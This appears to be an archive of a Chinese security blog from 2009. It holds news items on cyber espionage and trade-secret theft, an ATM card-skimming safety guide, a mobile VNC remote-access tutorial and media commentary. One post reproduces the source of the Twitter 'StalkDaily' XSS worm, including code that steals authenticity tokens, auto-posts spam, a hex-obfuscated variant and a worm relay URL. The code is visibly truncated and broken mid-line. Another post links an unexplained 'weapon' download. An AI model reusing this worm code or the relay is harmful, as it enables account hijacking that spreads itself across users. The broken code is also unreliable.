关注于非传统信息安全

幸福那么短，幸福那么长

2010-12-28T18:09:00.000-08:00

“想要忘记，偏又记起。想要记起，偏又忘记”——《爱久弥新》

哪怕短暂的一刻，却温暖着我的心
老天，我向您许诺
不管世事变迁，都不会偷偷离开

东野圭吾时代的日式刑侦剧

2009-08-12T22:25:00.001-07:00

"新兴的日式刑侦剧，一改以往的诡异气质，突出角色人性色彩，变得更励志、更时尚"在刚刚落下帷幕的日剧春季档里，日剧《Boss》（天海佑希、竹野内丰主演）和《Mr Brain》（木村拓哉主演）成为挽救该季度惨淡收视的两大功臣，且都可视为最潮的日式刑侦剧。尽管两者噱头各自不同，《Boss》主打天海佑希的“女王控”（意指有强大控制力的成熟女性）和竹野内丰的蓄须造型；《Mr Brain》则有“收视之神”木村拓哉的“怪叔叔”（意指不按牌理出牌、略带猥琐的中年男子）表演，但它们都是日式刑侦剧的最新破格，突出科学理论的指导作用，一改以往该剧种的诡异气质，增加了喜剧成分，突出角色人性色彩，变得更励志、更时尚。而导致这种变化的因素，除了以《CSI》为代表的美式刑侦剧，更重要的则是日本本土炙手可热的悬疑大师东野圭吾。
　　日式刑侦剧是与日本侦探小说的发展严密相对应而生的。以江户川乱步、横沟正史为代表的本格派，通过自己的创作，缔造了诸如密室杀人等经典案件；而岛田庄司则通过《占星术杀人魔法》开创了“新本格”风潮。开玩笑地说，本格与新本格之间的区别在于：前者是有人死在密室里，凶手消失；后者是有人死于非命，凶手为尸体建好密室然后消失。新本格由于增加了现实的不可能性，所以诡异气氛更加浓厚。
　　小说的流变也影响到日式的刑侦剧风格，在本格和新本格主义流行的时代里，日式刑侦剧的代表是《金田一少年事件薄》和《古畑任三郎》。这两部经典之作都相当长寿，也体现出本格派的所有精华。《金田一少年事件薄》充分发挥“金田一”家族破解离奇恐怖事件的天赋，凸显令人全身毛立的恐怖元素，人性阴暗面被表现得淋漓尽致。
　　近年来，东野圭吾走红亚洲。他是集以往前辈之大成的悬疑大师，由于出身理工科，因此比其他作家更擅长也更愿意去尝试以科技为主轴的题材，而其中最有代表性的就是以物理学家汤川学为主角展开的“伽利略系列”。该系列去年被搬上屏幕，迅速大热。剧中的汤川学虽然遇到的案件依然离奇，诸如人头自燃、尸体心脏腐烂、鬼屋震动等，但最终都用相对严谨的科学理论一一破解，剧中涉及到的科学理论包括了折射现象、共振现象、水钠反应等。该剧的恐怖氛围被大大消解，反而激发起观众对科学常识的好奇心。
　　东野圭吾和《侦探伽利略》的走红引发了今年春季两部刑侦剧《Boss》和《Mr Brain》的出炉，剧中的侦探们都放弃了完全依靠大脑推理的传统方式，而更倾向于科学实证。比如《Mr Brain》中的九十九龙介则是行为古怪的脑科学家。
　　这两部刑侦剧也吸收了美剧同类型剧集的一些营养，《Boss》更明显，比如一改以往日式刑侦剧个人英雄主义的做法，突出团队协作的作用，减少血腥暴力场面，角色更丰满更有人情味儿了，侦探们除了破案，也开始谈恋爱了。天海佑希扮演的女警司就是“大龄剩女”，梦中情人是乔治·克鲁尼。
　　日式刑侦剧的新变格朝着更流行、更大众化的方向发展，它将诡异的传奇性转变为轻松的脑力激荡，丰富人物情感层次，更加适合快餐文化下的观众口味，这种变化也是东野圭吾能够走红的重要原因。

很让人崩溃的QQ好友克隆

2009-08-12T17:08:00.001-07:00

显摆一下我的火狐浏览器

2009-04-21T17:26:00.000-07:00

搞WEB安全估计都这配置了，哈哈。

简单制作超具杀伤性武器

2009-04-18T19:55:00.000-07:00

PS:这叫啥呢？武侠电视似曾相识……

下载地址：http://uploadmirrors.com/download/1GX5URS2/JPEG.rar

美国政府为应对网络危险寻求黑客保护

2009-04-18T04:54:00.001-07:00

据美联社报道，为应对每日数以百万计的网络攻击和欺诈，美国联邦政府正在积极寻找黑客高手，这次不是为了抓捕他们而是向他们支付费用保护国家网络。
　　上月美国通用动态信息技术公司（General Dynamics Information Technology）代表国土安全部发布了一则广告，寻找能像黑客一样思考问题的人。广告里称，申请者必须了解黑客的技术和手段，并能对网络流量进行分析，找出联邦系统中的漏洞。
　　上周美国防部长罗伯特・盖茨在提交五角大楼预算申请时，发出了自己的招聘信号。他表示，五角大楼应增加网络专家的数量，在2011年前每年都要培训出80-250名。美国政府的官员表示，在面临新型黑客、网络犯罪和其他威胁上，保护网络的技术创新未能跟上。
　　美国的电脑网络包括了五角大楼和其他联邦政府机构的网络，一直处于持续的攻击下，这些攻击有温和的骚扰性攻击也有破坏力很大的袭击。就在上周，美国政府一位前政府官员披露，间谍已经攻入美国国家电网，并留下一些可中断服务的病毒。
　　网络威胁也对美国的国家安全造成潜在危险，五角大楼的官员表示，过去半年里为修复网络已经花费了1亿多美元。通用动态信息技术公司的副总裁纳迪亚・萧特（Nadia Short）表示，联邦政府非常需要有道德的黑客加盟。
　　前布什政府曾启动了一项政府网络监控计划"爱因斯坦"，由美国计算机应急小组（US-CERT）负责。US-CERT是美国国土安全部、其他政府机构和私人公司签署的合作协议。"爱因斯坦"计划是一个自动收集和分享安全信息的计划。萧特称，这项为期4年将耗资6000万美元的协议，将利用有道德黑客分析政府网络面临的危险和开发可减少漏洞的技术。
　　一些科技巨头也督促美国政府设立一个白宫级职位，专门负责网络发展和寻找如何与私人部门迅速分享信息的途径，这些公司包括通用动态信息技术公司、IBM、洛克希德-马丁和惠普等。但美国政府一直难以解决一些基础问题，如由谁来控制全国性的网络计划。

ATM维护人员教大家正确使用银行卡和取款机

2009-04-18T04:49:00.001-07:00

from:http://www.cnbeta.com/articles/82193.htm
　　我们每天都在接触银行卡，使用ATM自动取款机，可是普通人对银行卡和ATM了解多少呢？为什么会有银行被盗用，被复制的情况出现呢？为什么很多人说在ATM上取到假钱呢。我不算是个专业人士，只是从事银行ATM维护工作有几年了，这里给大家简单的解密下银行卡和ATM的相关情况，希望给大家正确使用银行卡和ATM做个指导。
　　首先说下银行卡，现在最普遍使用的银行卡是磁条卡，另外就是IC卡，我这里只说说磁条卡，因为磁条卡是最容易被盗，被复制的。银行卡背面有一条黑色或其他颜色的宽线条，既为磁条。银行卡磁条是分为三个磁道的，简单的说就是分为三个数据记录区域。第一磁道，根据银行的不同，有的是空白无数据的，有的是记录有该银行卡的卡号的。第二磁道，是记录该银行卡的卡号的，第三磁道，是记录银行卡卡号和加密信息的，该加密信息是银行采用了独特的加密算法，通过对该银行卡的卡号和其他信息计算后，形成的一串数字。每个银行的加密算法肯定是绝密级别的，不可能说被破解。也就是说，不可能别人知道你的卡号，就能制作出你的银行卡。
　　既然不能从知道卡号就复制出一张银行卡，从而盗卡的唯一手段，就是利用你的原卡去复制。所以作案人员采用在ATM或其他地方，安装磁条卡读卡器，骗你将银行卡在这些读卡器上刷，然后把你银行卡的磁道信息记录下来，再写入一张其他同类型磁条卡，这样就完成了银行卡的复制。想想现在的银行使用地点，除了 ATM，还有商场，宾馆，饭店等等，你就明白你银行卡信息被盗取的可能性有多大了，在读卡器上一刷，就能复制下来所有磁道信息，再就可以复制。所以使用银行卡时候，一定要保持卡片在你的视线之类，特别是很多银行的信用卡，消费时是不需要密码的，一旦被复制了，罪犯可以随时拿去刷卡消费。
　　银行卡在ATM上使用，很多人缺乏一点基本常识就是先看ATM屏幕，再插卡。屏幕上明明显示机器暂停服务，有人就还在那里拼命的往入卡口塞卡。还有，现在各银行ATM屏幕上一般都有一些提示信息，很多人不屑一顾，明明屏幕上提示了发生异常情况应该打银行那个号码的服务电话，还是去轻信贴在ATM旁边的一张纸片上的电话。正确使用ATM，应该是先看ATM屏幕，是否显示的是正常服务画面，提示可以插入卡片，然后再插卡。如果是你经常去使用的ATM，你应该还要留意下，插卡口，是否有异常，因为犯罪分子可能会有安装一个假的入卡口在ATM真正的入卡口前面，盗取卡片信息。
　　输入密码时候，先要环顾一下身周围，注意不要陌生人在身后，最好是一个手遮挡住键盘输入区域，一个手输入密码。密码不能复制，但是仅仅6个数字，实在是太容易偷窥记住了。密码和卡片信息，你保护住了一个，你的银行卡就是安全的。特别提示一点，有新闻说到信用卡被人知道卡号和有效期和验证码后三位（即卡背面签名栏末三位数字CVV码），就能电话定机票，所以信用卡的相对普通卡，安全信更差。银行卡在ATM上使用后打出的回单纸，上面的卡号是有几位被星号代替了，但是有很多人可能没留意，银行卡在商场等刷卡使用，打出的回单，卡号是完全显示的，而信用卡的有效期是有印在信用卡上面的。信用卡刷卡消费完以后，回单一定不能随意丢弃，最好看过后，彻底销毁。
　　在ATM交易是需要一定时间，插卡输入密码后，选择了你想要的功能，ATM将信息发送到银行总行服务器，跨行交易还要经过银联服务器，根据网络的好坏，都是需要一定时间。每个银行设定的网络的超时时间不一定相同，比如说，你选查询，刚刚好ATM网络故障（ATM信息发送不到主机，或者是主机的响应信息发送不到ATM），到机器屏幕给出提示这个时间，每个银行都有不同，有的可能是一下子就提示你交易失败，有的可能会等1-2分钟，才提示，这时候千万不要离开 ATM，因为这种情况，ATM无法交易，肯定会提示并退出卡片的。
　　ATM自动退卡和吞卡的时间呢，一般ATM都是30秒。当你插入卡片，而不进行操作，超过30秒，机器将自动退出你的卡片。这就造成有些人取钱后，忙着点钱和验钞，不对机器操作，过了30秒，卡就会自动被机器退出。如果卡片退出后，不被取走，再过30秒，机器将会把卡片吞入，那你就只能找银行领卡了。吞钞也是，钱如果说送到了出钞口，超过30秒，客户不取走钞票，机器也会自动回收钞票。钞票回收了，钱是不会马上又打入你的卡的。这要等银行方面查明了，再由银行冲回你的卡，一般时间3天，或者更久。
　　最好说下ATM出假钞的情况，新闻上这么多反应的，只能说无风不起浪。按照银行正规的操作流程来说，ATM上是不应该出现假币的。为什么这么说，因为银行往ATM上加入的钱，大多数银行并不是使用在柜台客户存入银行的钱，而是每天从地区银行总行金库领用的，领用了拆包直接放入。既然这个钱能入得了银行总行金库，就肯定不会出现假币，现代验钞手段，哪怕是一张钱中间只有极少一部分是假的，比如拼凑上的，都能建议出来。我见过只有十几分之一是假的拼凑币。关于怎么进到ATM我也不知道详情，猜测也是只有内部作祟。有人说在ATM上一下子取到一千，两千都是假的，或者说同一台机器经常有出假的，这个也不足信。作祟人员再大胆，也不可能冒那么大的险，一次放大量假钞进去，或经常动手脚，其中缘由可想而知。大多数人说取到假钱，是在ATM取了钱，不验，往口袋一塞，等到消费时候给人调包了，回头来找银行说ATM取到假钱了。
　　如果真的取到假钱了怎么办呢，首先你不要离开ATM，也不可以把钱收入钱包或口袋，应该叫他人帮忙叫银行人员过来，因为ATM都有摄像头监视，你和银行理论时候，可以要求查看监控录像，确认钱就是从ATM出来的，你没动手脚。遇到晚上或者周末银行不上班，以及不是在银行的ATM机器，有一个办法，就是你找到ATM机器上的摄像头位置，将你手中的钞票编码部分，靠近对准摄像头，停留一阵子，确保录像能录下钞票编码。国内基本所有ATM，都有实时监控，你报案都可以要求提取查看的。你只要仔细看一下ATM，一般都能发现摄像头位置，大多在屏幕上方一点，人脸正面，或者是在头顶位置。有针孔的，有有色玻璃框住的。
　　说了一些，其实ATM和银行卡还有很多和我们使用息息相关的方方面面，大家知道多点，也就不会产生那么多麻烦和不安全因素。生活源于观察，小心谨慎是关键。

Chinese National Arrested For Source Code Theft

2009-04-15T02:13:00.001-07:00

PS：窃取商业秘密
　　A Chinese citizen on a work visa in the United States was arrested by the FBI last week for allegedly revealing proprietary software code owned by his unidentified U.S. employer to a Chinese government agency.
　　Yan Zhu, 31, of Lodi, N.J. -- also known as "Westerly Zhu" -- was arrested on charges of theft of trade secrets, conspiracy, wire fraud, and theft of honest services fraud.
　　A startup has a new firewall that accurately identifies applications and enforces policies Renown researchers Thomas Ptacek and Joanna Rutkowska square off on rootkit detection Andrew Conry-Murray spoke with the president of RSA, Art Coviello, at EMC World 2008 about Data Loss Prevention.
　　A startup has a new firewall that accurately identifies applications and enforces policies
　　"Crimes of this nature do not get much public attention," FBI Special Agent in Charge Weysan Dun said in a statement. "No one is shot, there is no crime scene, no prominent public figures are involved. However, this is an act of economic violence -- a paper crime that robs the victim company of the resources they expended to develop a product."
　　Dun said that white-collar crimes of this sort are clearly dangerous to America's economic infrastructure. "If American dollars are spent on research and development of a product, and then that product or research is taken without any compensation to American companies, the value of American companies and American products is significantly reduced in the global marketplace," he said.
　　David Schafer, the assistant federal public defender representing Zhu, declined to comment or to identify Zhu's former U.S. employer.
　　According to the criminal complaint, Zhu's former employer is an unnamed company based in Mercer County, N.J., that develops, implements, and supports software for environmental applications. One of its applications is an environmental information management portal for the Chinese market.
　　Zhu, who holds a Ph.D. from Columbia University in geo-environmental engineering, was hired by the U.S. company around April 2006 as a senior environmental engineer and signed a confidentiality agreement.
　　In July 2007, the U.S. company signed a contract with Shanxi Province, China, to provide its software to the local Environmental Protection Administration （"Shanxi EPA"）. The contract called for four payments totaling about $1.5 million -- a down payment and three subsequent payments following the installation of module 1, modules 2 and 3, and module 4.
　　In November 2007, the Shanxi EPA made the down payment of about $3 million. By March 2008, all four modules were installed, but the U.S. company never received further payment.
　　The U.S. company subsequently recognized the software it had provided to Shanxi Province had been altered, which would require access to the company's source code. The company also noticed that a Chinese company set up to serve as a payment conduit for the deal was now listed on a Shanxi Web site as a vendor of environmental software.
　　The complaint alleges that Zhu e-mailed his company's database and more than 2,000 pages of source code to co-conspirators in China and that the individuals have been selling the U.S. company's software to Chinese government agencies without authorization.
　　In its 2008 report to Congress, the U.S.-China Economic and Security Review Commission warned that "China is targeting U.S. government and commercial computers for espionage."
　　In 2007, the group said, "Chinese espionage activities in the United States are so extensive that they comprise the single greatest risk to the security of American technologies."
　　China, however, is not alone in seeking to obtain U.S. technology through espionage. Many nationals of other countries and U.S. citizens have been involved in technology theft or illegal technology exports.
　　Attend a Webcast on why bad security breaches keep happening to good organizations. It happens Wednesday, April 15. Find out more and register.

17岁少年：Twitter XSS蠕虫是我做的

2009-04-12T20:05:00.001-07:00

　　这个Mikeyy家伙才17岁，为了在twitter给自己打广告弄的XSS蠕虫，这么恶毒的方式也用上了……

原始XSS Worm:

function XHConn() {
var xmlhttp, bComplete = false;
try {
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
}
catch(e) {
try {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e) {
try {
xmlhttp = new XMLHttpRequest();
}
catch(e) {
xmlhttp = false;
}
}
}
if (!xmlhttp) return null;
this.connect = function(sURL, sMethod, sVars, fnDone) {
if (!xmlhttp) return false;
bComplete = false;
sMethod = sMethod.toUpperCase();
try {
if (sMethod == "GET") {
xmlhttp.open(sMethod, sURL + "?" + sVars, true);
sVars = "";
}
else {
xmlhttp.open(sMethod, sURL, true);
xmlhttp.setRequestHeader("Method", "POST " + sURL + " HTTP/1.1");
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
}
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && !bComplete) {
bComplete = true;
fnDone(xmlhttp);
}
};
xmlhttp.send(sVars);
}
catch(z) {
return false;
}
return true;
};
return this;
}

function urlencode(str) {
var histogram = {},
tmp_arr = [];
var ret = str.toString();

var replacer = function(search, replace, str) {
var tmp_arr = [];
tmp_arr = str.split(search);
return tmp_arr.join(replace);
};

histogram["'"] = '%27';
histogram['('] = '%28';
histogram[')'] = '%29';
histogram['*'] = '%2A';
histogram['~'] = '%7E';
histogram['!'] = '%21';
histogram['%20'] = '+';

ret = encodeURIComponent(ret);

for (search in histogram) {
replace = histogram[search];
ret = replacer(search, replace, ret)
}

return ret.replace(/(\%([a-z0-9]{2}))/g,
function(full, m1, m2) {
return "%" + m2.toUpperCase();
});

return ret;
}

var content = document.documentElement.innerHTML;
userreg = new RegExp(/");
document.write("");

function wait() {
var content = document.documentElement.innerHTML;

authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);
authtoken = authtoken[1];
//alert(authtoken);

var Randomupdate = new Array();
randomUpdate[0] = "Dude, www.StalkDaily.com is awesome. What's the fuss?";
randomUpdate[1] = "Join www.StalkDaily.com everyone!";
randomUpdate[2] = "Woooo, www.StalkDaily.com :)";
randomUpdate[3] = "Virus!? What? www.StalkDaily.com is legit!";
randomUpdate[4] = "Wow...www.StalkDaily.com";
randomUpdate[5] = "@twitter www.StalkDaily.com";

var genRand = randomUpdate[Math.floor(Math.random() * randomUpdate.length)];

updateEncode = urlencode(genRand);

var xss = urlencode('http://www.stalkdaily.com">

感染方式：
　　在Twitter个人资料的location与web栏插入恶意代码，当其它用户浏览某人个资料时，该XSS蠕虫就会触发。

XSS蠕虫中转站：http://content.ireel.com/xssjs.js
　

var _0x8da4=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F \x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70 \x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\ x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52 \x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\ x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D \x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","

安全防范：
　　1.更改hosts文件，屏蔽传染网址。
　　2.使用noscript火狐扩展屏蔽恶意代码
　　3.修改个人资料，删除恶意代码

大牛叫你怎样识别假新闻

2009-04-04T01:45:00.001-07:00

PS：原文标题为《学会理性看新闻》，转载过来顺便标题党一下。

　　绝大数官方新闻媒体如《环球时报》、电视媒体《CCTV》新闻报道都不客观，一定程度充斥着非客观的虚假新闻，使用扭曲类词语扭曲事件的严重程度，使用差异化词语强调"司法合理"，建议学习NLP心理学检定语言模式，学完之后很恐怖，官方媒体到处充斥着假新闻……

from:http://www.daynew.net/?p=1204

大牛：我们有好多记者不会写新闻，起码不能做到客观，包括国家级通讯社的记者，所以让人难以信服，客观上起了帮倒忙的作用，下面就一篇发生在乌鲁木齐的新闻做一下分析，括号里黑体字为大牛所评。

乌鲁木齐发生暴力袭警（暴力袭警是顶大帽子，耸人听闻，其实此案正在进一步调查中，没有任何机关部门定义成暴力袭警，不知何出此言）事件上百人围观(组图)http://www.sina.com.cn 2009年03月31日23:18 中国新闻网

　
　　中新网3月31日电 (记者闫文陆)乌鲁木齐市3月30日晚发生一起妨碍警方执行公务事件，一名民警受伤。目前，受伤民警仍在医院接受治疗。

　　据乌鲁木齐市警方介绍（事情完全是警方一面之词，记者下文中连男子代某、路人甲乙丙丁都没有采访，谈得上客观吗？），3月30日21时许，乌鲁木齐市二工派出所3名民警着便装驾驶地方牌照车辆（穿便装，坐地方车，符合执行公务的规定吗？存疑中）押送一名吸毒盗窃犯罪嫌疑人途中，行至东泉路（路的尽头有戒毒所，此条路我骑自行车路过多次，缺天桥和人行横道，行人不得不"违章"穿越马路，你不能要求行人到警官学校的路口去过马路吧））时，遇男子代某违反交通规则横穿马路，民警鸣笛示意，但其不予避让，依然继续在马路中间慢行（车让人是常识，警官没有学过交通规则吗？）。为避免发生事故，民警紧急采取制动措施（这是警察该做的），双方交涉过程中发生口角（口角就说明双方都不怎么文明）。代某遂挥拳从打开的车窗向内击打民警（别忘了，这时的警察是便装，坐地方车，应该属于普通民事纠纷），民警即下车制止，并告知代某民警的警察身份及正在执行公务（第一，仅是口头告之，还是按规定出示警官证，语焉不详；第二，不是救人救火，运送个嫌疑人能有多紧急？如果真紧急，还有闲功夫和老百姓口角吗？），但代某置之不理，乘人不备捡起路边砖块将一民警头部打伤（还是属于口角范畴吧，医生鉴定的伤势结果有吗，代某有没有受伤为什么不讲？），并煽动（夸大其词了吧，跟周围人讲述经过算煽动吗？）周围不明真相的群众（警察为什么不跟群众讲明真相呢？是不屑讲，还是不敢讲？）阻挠民警执行公务（真是公务吗？存疑）。

　　此时，碱泉街派出所民警巡逻至此，为避免事态扩大和车内押送的犯罪嫌疑人脱逃，欲将有关民警及代某带回碱泉街派出所调查（有没有包庇同行的嫌疑呢？），闻讯赶来的代某妻子等人继续寻衅，采取脚踢、强拽车门（事情没解决清楚，人家怕警警相护，当然不愿意跟你回去，当然手段不对，暴力了点，不过，前期警察不也对老百姓"口角"了吗，也不怎么文明）等手段，欲将已上警车的民警强行拉下，致使现场警车受损、民警无法正常执行公务，围观群众达200余人，导致该路段交通严重堵塞。市公安局指挥中心接警后，立即指派警力进行现场疏导处置，22时40分许事态平息（市局算是有明白事的人，不愿意把小矛盾继续扩大）。

　　目前，此案正在进一步调查中。警方表示将对妨碍执行公务者依法进行处理（第二句也属于瞎定性，执行公务的本身程序和做法就不见得正确，何来妨碍一说，倒是应该核实这几个警察为什么穿便装坐地方车执行公务，公安局没警服警车了？）。

综上所述：记者完全是根据同是当事人的一方面，警方一面之词做的采访，相当的不客观，采信度要打折扣。

图为乌市碱泉街派出所民欲将民警及代某带回碱泉街派出所调查，遭遇围攻人员强行阻拦。亚心网记者张万德摄

电视购物陷阱骗及17省市 20余天骗得10万余元

2009-04-03T21:44:00.001-07:00

　　PS：又一起滥用与出售的个人资料犯罪事件。

　　新闻来源:新华网

　　北京顺义警方近日打掉一个在居民楼里以电视购物为名进行诈骗的犯罪团伙。警方昨天通报，共抓获涉案嫌疑人10名，核实上当受骗人员50余人，涉及17个省市，涉案金额10万余元。

　　今年3月20日，天竺派出所民警在对翠竹小区开展走访时，一名房主向民警反映，3月初，一名叫马琴的外地女子租住自己的楼房后，在屋内摆放电脑和多部电话，像是要开公司的样子，但人员每天却很少外出，一天三餐都是马琴的男友邵为在餐厅打包带回来。民警随后随同房东多次以检查房间设施、收取水电费为名对该房间内的人员进行调查。经过一周左右的调查，民警摸清，这家所谓的公司就是让员工冒充某电视购物中心工作人员，在屋里不停地向全国各地打电话推销手机。他们对客户声称的每部998元的3G手机，其实只是廉价的杂牌机甚至是手机模型。

　　3月28日中午，天竺派出所出动警力对该出租房进行突击检查。屋内有十几部电话机，电脑里存有全国各地大量人员信息。见到民警，屋内的10名男女神情非常紧张。马琴和邵为对民警称"我们就是电视购物中心的工作人员，我们不是骗人的"。由于没有事主报案，取证陷入僵局。民警马上又兵分两路，一路核实马琴和邵为的身份，另一路联系被骗的事主。当天晚上7点，证据搜集完毕，马琴和邵为承认他们并非电视购物中心工作人员。

　　两人交代，他们自2009年2月26日以来，冒充某电视购物中心的工作人员租房，安装无法查到装机地址的宽带网络电话,再从网上购买大量手机客户的资料信息，并雇佣了8个话务员冒充电视购物工作人员或品牌手机厂家售后服务工作人员，按照马琴提供的个人信息资料，每人每天拨打数百个电话，对客户称只需998 元便可获得一部质优价廉的新款3G手机，骗取客户上钩。一旦有客户同意购买，他们便从木樨园等地购买残、次手机或者手机模型给客户快递过去。客户收到快递打开后才发觉受骗。而受骗事主往往又因为路途遥远，不选择来北京报案。

　　到被抓时，该团伙已骗得10万余元，受骗事主多在外省市，目前已联系事主核实了9起。马琴、邵为等人因涉嫌诈骗已被刑事拘留。

How To Set Up Remote Computer Access With Your Mobile Phone

2009-04-03T20:31:00.001-07:00

PS:在手机上玩3389……
from:http://www.makeuseof.com/tag/set-up-remote-computer-access-with-your-mobile-phone/
Throughout my college years, there were often times when I wished I could set up remote computer access to the PC in my dorm room to email a particular homework file to my professor. Instead, I had to hike the treacherous 1.5 miles, through frigid snowdrifts and throngs of shivering college students, just to reprint and retrieve the homework I’d forgotten to bring with me that morning.

Of course, back then there were no such things as Internet-enabled Windows Mobile devices. In fact, at the time the Internet itself was only in its infancy. Today, there’s not only the Internet, but also these nifty little web-enabled mobile devices that let you do some pretty magical things over the Internet. Not the least of which is connecting and controlling your computer from anywhere in the world.

How to Set Up Remote Computer Access With Your Mobile Phone

Not long ago, the ability to whip out your trusty PocketPC and set up remote computer access to your desktop PC would all have sounded like science fiction. Today, it’s not only a reality, but it’s completely free.

Dave previously wrote about how to remotely control your mobile device with your desktop. There are a lot of reasons why that would be useful. However, the reverse is just as useful. Having the ability to set up remote computer access to your home PC from anywhere in the world has unlimited possibilities. But how exactly does it work?

First, it makes use of free VNC technology, mentioned previously in How to Spy On Your Spouse With Your Computer. You set up the VNC server on your home PC exactly as outlined in that article, but in order to connect to that VNC server, you need a VNC client that works on your Windows Mobile device. The best available client that I’ve found is the open source Windows Mobile .NET VNC Viewer created by Rocky Lo.

How To Set Up And Configure The .NET VNC Mobile Viewer

Rocky Lo wrote his mobile VNC client because there weren’t any other clients available that offered much in terms of functionality. This viewer is an impressive mobile version of the desktop version of the Real VNC client. Upon installing the software, you’ll find that it’s extremely easy to immediately establish a connection to the VNC service running on your Home PC.

Lo’s mobile version offers client-side scaling, full screen mode, and is highly configurable to update as often or as little as you would like. Lo fully tested his latest version on an HP 4150 with Windows Mobile 2003. For this article, I’ve tested it on a HTC/Cingular 8125 Smartphone running Windows Mobile 5.0.

You can even set up your mobile device to simply listen on a particular port for available VNC servers. But in my opinion, the most useful settings in this app are the display options.

You can enable full screen mode, set the orientation for portrait, upside down, or even rotate the computer screen clockwise or counter clockwise so that it shows up on your portable PocketPC screen in the wide format.

You can also change the pixel size from 8-bit to 16-bit, or you can allow the server to define your resolution. These are settings you can tweak if you find that the display updates slowly.

Of course, scaling is a cool method you can use to try to get as much of the computer screen to fit inside your little mobile screen. You can define the width and height, or just scale down the server-side size by as much as a fifth.

Finally, you can configure your mobile VNC client to either update the screen as fast as possible, or disable that feature and update manually. You can also configure it to view the PC screen only, but not manulate it (turning your mobile phone into another cool spy device).

Here, you can see what it looks like when I connect my 8125 SmartPhone to the VNC server running on my family desktop PC. I ran the client software while my phone was connected directly to my home Wi-Fi network. Sending commands to the PC acted instantaneously on the PC itself, but the screen refresh rate on the mobile end took at least 10 to 20 seconds. My settings could use a bit of tweaking.

Using the menu items at the bottom of your mobile screen, you can manually force a screen refresh - a helpful feature when you’re on a slow connection. Other options include sending special keys like control-alt-delete and other tasks typical of a normal VNC viewer.

How to Connect to Your PC While Not at Home

Now, while connecting to your PC remotely is cool when you’re sitting in a different room of your home - it’s astronomically more cool when you’re sitting on a train headed to work and you just remembered you forgot a file on your hard drive at home. How can you configure things so that you can connect your mobile phone through your router? It’s extremely simple.

First, get into your router settings and modify port forwarding. Within Linksys, this is typically under applications & gaming. For VNC, you want to define all requests for port 5900 (for example) to forward to the IP address for the PC that you’ve got running the VNC service in your house.

Then, using your connection with your mobile phone, you will connect to your router’s actual Internet IP address and specify the same port that you’ve just defined forwarding for.

In this screenshot, I’ve logged in from a local Wi-Fi hot spot about 20 miles from my house, and I’ve opened up Thunderbird on my home PC.

Final Words

The most important thing to consider when setting up your mobile phone client is that data transfer speeds have a tremendous impact on performance. I’d never consider trying to connect to my home VNC servers over the cellphone network. While it would work, it would take ages to connect and update.

Instead, try to find local Wi-Fi hot spots to park yourself, have a cup of coffee, and remotely log into your home PC to download emails or initiate a few more Torrent downloads.

Either way, using this mobile software is yet another way you can stay fully connected even when you’re miles away from your home computer.

If you have any opinions, comments, problems setting this up, let us know in the comments.

研究：中国黑客从事网络间谍

2009-04-03T03:25:00.001-07:00

　　PS：核心提示，就是发带毒邮件+邮箱跨站钓鱼攻击……毫无任何技术含量……

　　据一份新报告称，中国黑客一项间谍行动从100多个国家的数百台政府电脑中获取了敏感资料。

　　多伦多大学(University of Toronto)的专家发现，世界各地共有1295台电脑受到感染。他们注意到该行动窃取文件，并通过网络摄像头和麦克风对用户进行监视和监听。

　　该报告再次引发对信息战激烈程度的警惕，特别是对中国黑客攻击的警惕。受感染的"高价值"电脑比例之高表明，存在一项目标明确的间谍活动而不是一个犯罪网络。

　　研究人员无法确定中国政府是这项被称为"幽灵网"(GhostNet)的黑客行为的背后支持者，但他们指出，受攻击目标都是与北京方面存在特殊利害关系的团体，其中包括西藏独立运动人士。

　　报告表示，在1295台受感染电脑中，有397台"或是对中国与西藏、台湾和印度的关系意义重大，或经确定为外国使馆、外交使团、政府部门或国际组织的电脑"。

　　这项为期10个月的调查是应西藏流亡政府要求展开的。调查发现，达赖喇嘛办公室多台电脑遭到类似病毒的恶意软件渗透，这种软件会强制电脑执行来自攻击者的指令。

　　报告表示，间接证据表明中国政府曾出于"军事与战略情报目的"对这批受到高度关注的目标加以利用。报告称，许多攻击似乎来自海南岛，即中国军方陵水信号情报设施所在地。

　　美国新任国家情报总监丹尼斯?布莱尔(Dennis Blair)上周五表示，网络安全"非常重要"。他补充称，最大的威胁来自中国和俄罗斯等有组织的国家，而非穆斯林恐怖主义组织，并表示美国需要提高识别攻击来源地的能力。

　　他说："我认为，在美国组织遭遇的黑客攻击的来源地中，中国可谓位居前列。来自中国的攻击排在第二位，仅次于来自美国国内的攻击，但在外国来源地中，中国排在第一位。"

　　美国总统巴拉克?奥巴马(Barack Obama)已下令对网络安全进行审查，因为美国政府机构越来越多地成为黑客攻击的受害者。2007年，中国军方黑客曾渗透进五角大楼 (Pentagon)内供美国国防部长罗伯特?盖茨(Robert Gates)使用的电脑网络。去年，来自中国的黑客又入侵了白宫的电脑系统。

　　包括英国和德国在内的其它国家也针对中国黑客对本国政府网络的攻击发出警告。英国情报机构军情五处(MI5)前任主管伊利莎?曼宁汉姆-布勒(Eliza Manningham-Buller)就表示，英国曾是中国黑客攻击的目标，这些攻击似乎受到了政府的资助。

　　许多电脑安全专家一直提醒，家庭和办公室的电脑大型网络一旦受到犯罪团伙无从察觉的控制可能造成严重后果。规模最大的僵尸网络(Drone Networks)之一，是由通常被称为Conficker的病毒汇集而成。该网络已捕获数百万台电脑，但其目的仍不得而知。

